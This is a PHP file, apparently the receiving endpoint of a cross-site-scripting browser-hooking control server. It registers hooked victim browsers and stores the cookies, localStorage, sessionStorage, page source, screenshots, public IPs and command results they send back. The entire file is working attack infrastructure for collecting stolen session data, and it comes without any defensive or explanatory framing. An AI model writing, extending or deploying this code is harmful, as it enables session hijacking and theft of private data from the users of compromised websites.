rcv.php

<?php
    include_once __DIR__ . '/inc/rcv.inc.php';

    // New hooked browser
    if(isset($_POST['action']) && $_POST['action'] == 'initHook') {
        initHook($pdo, $_GET['browserId'], $_POST['userAgent'], $_POST['hostname'], $_POST['vulnerableURL'], $_POST['origin'], $_POST['referer'], $_POST['cookies'], $_POST['localStorage'], $_POST['sessionStorage']);        
    }

    // Retrieve source code
    if(isset($_GET['browserId']) && !empty($_GET['browserId']) && isset($_POST['sourceCode']) && !empty($_POST['sourceCode'])) {
        getSourceCode($pdo, $_GET['browserId'], $_POST['sourceCode']);
    }

    // Retrieve hooked screenshot
    if(isset($_GET['browserId']) && !empty($_GET['browserId']) && isset($_POST['hookedScreenshot']) && !empty($_POST['hookedScreenshot'])) {
        getHookedScreenshot($pdo, $_GET['browserId'], $_POST['hookedScreenshot']);
    }

    // Is hooked browser online/offline ?
    if(isset($_GET['action']) && $_GET['action'] === 'heartbeat') {
        heartbeat($pdo, $_GET['browserId']);
    }

    // Retrieve public IP
    if(isset($_GET['action']) && $_GET['action'] === 'getPublicIP') {
        getPublicIP($pdo, $_GET['browserId'], $_GET['publicIP']);
    }

    // Analyse event from hooked browsers
    if(isset($_GET['type']) && !empty($_GET['type'])) {
        if($_GET['type'] === "Command Result" && $_GET['module'] === "Screenshot") {
            addEvent($pdo, $_GET['browserId'], $_GET['type'], $_GET['module'], $_POST['event']);
        }
        else {
            addEvent($pdo, $_GET['browserId'], $_GET['type'], $_GET['module'], $_GET['event']);
        }
    }
?>